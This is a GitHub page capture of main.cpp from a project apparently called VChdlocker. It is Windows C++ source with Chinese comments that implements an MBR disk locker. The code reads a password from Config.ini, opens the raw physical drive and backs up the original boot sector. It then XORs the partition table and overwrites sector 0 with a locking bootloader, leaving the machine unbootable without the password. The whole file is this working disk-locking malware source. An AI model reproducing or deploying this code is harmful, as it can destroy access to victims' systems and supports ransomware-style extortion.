VChdlocker/main.cpp at master · Liberxue/VChdlocker · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <windows.h>
#include "bin.h"
#define cryptFlag 445

int ReadDisk(int Id, int num, unsigned char *buffer);
int WriteDisk(int Id, int num, unsigned char *buffer);
int _stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
	LPSTR lpCmdLine, int nCmdShow){
	char keys[256] = { 0 };//buffer 缓冲区 用于保存ini配置文件里面输入的密码
	unsigned char mbr[512] = { 0 };//用于保存从硬盘MBR里面读取出来的原始MBR信息的
	unsigned char len;
	int i = 0;
	GetPrivateProfileStringA("Locker", "psw", "shisan", keys, 256, ".\\Config.ini");
	len = strlen(keys);
	if (len == 0 || len >= 18){
		MessageBoxA(NULL, "错误！密码长度建议在0-18内..", "Error", MB_OK | MB_ICONERROR);
		exit(-1);
	}
	byte XResult = 0;	//密码异或值
	for (i = 0; i<len; i++){
		XResult ^= keys[i];
	}

	if (ReadDisk(0, 1, mbr) == 0){
		MessageBoxA(NULL, "Read MBR failed!", "ERROR", MB_OK | MB_ICONERROR);
		exit(-1);
	}

	if (mbr[cryptFlag] == 0x16){  //0x16  可以是任何数字
		MessageBoxA(NULL, "已初始化!请勿重复运行", "ERROR", MB_OK | MB_ICONERROR);
		exit(-1);
	}

	mbr[cryptFlag] = 0x16;
	for (i = 0; i < 64; i++){
		mbr[446 + i] ^= XResult;
		WriteDisk(2, 1, mbr);//将引导程序保存到第3扇区
		memcpy(lock_disk+cryptFlag,mbr+cryptFlag,67);
		WriteDisk(0, 1, lock_disk);
		MessageBoxA(NULL, "初始化成功加锁\n", "hi013", MB_OK | MB_ICONERROR);
		return 0;
	}
}

int ReadDisk(int Id,int num,unsigned char *buffer)
{
		/*
		读取扇区
		id=ID号
		num=读取数量
		成功返回读取字节数
		*/
		HANDLE hFile = NULL;
		int offset = 0;
		int ReadSize = 0;
		DWORD Readed = 0;
		offset = Id * 512;
		ReadSize = num * 512;
		if (buffer == NULL){
			return ReadSize;
		}
		hFile = CreateFileA("\\\\.\\\\physicaldrive0",
			GENERIC_READ,
			FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
			FILE_ATTRIBUTE_NORMAL,NULL);
		if (hFile == INVALID_HANDLE_VALUE){
			MessageBoxA(NULL, "不能打开\\\\.\\\\physicaldrive0..", "ERROR", MB_OK | MB_ICONERROR);
			return 0;
		}
		SetFilePointer(hFile,offset,0,0);
		ReadFile(hFile, buffer, ReadSize, &Readed, NULL);
		CloseHandle(hFile);
		return Readed;
};

int WriteDisk(int Id, int num, unsigned char *buffer){
	/*
	写磁盘
	*/
	HANDLE hFile = NULL;
	int offset = 0;
	int WirteSize = 0;
	DWORD Writed = 0;
	offset = Id * 512;
	WirteSize = num * 512;
	if (buffer == NULL){
		return WirteSize;
	}
	//open it
	hFile = CreateFileA("\\\\.\\\\physicaldrive0",1073741824,1,0,3,128,0);
	if (hFile == INVALID_HANDLE_VALUE){
		MessageBoxA(NULL, "不能打开\\\\.\\\\physicaldrive0..", "ERROR", MB_OK | MB_ICONERROR);
		return 0;
	}
	SetFilePointer(hFile, offset, 0, 0);
	WriteFile(hFile, buffer, WirteSize, &Writed, NULL);
	CloseHandle(hFile);
	return WirteSize;
}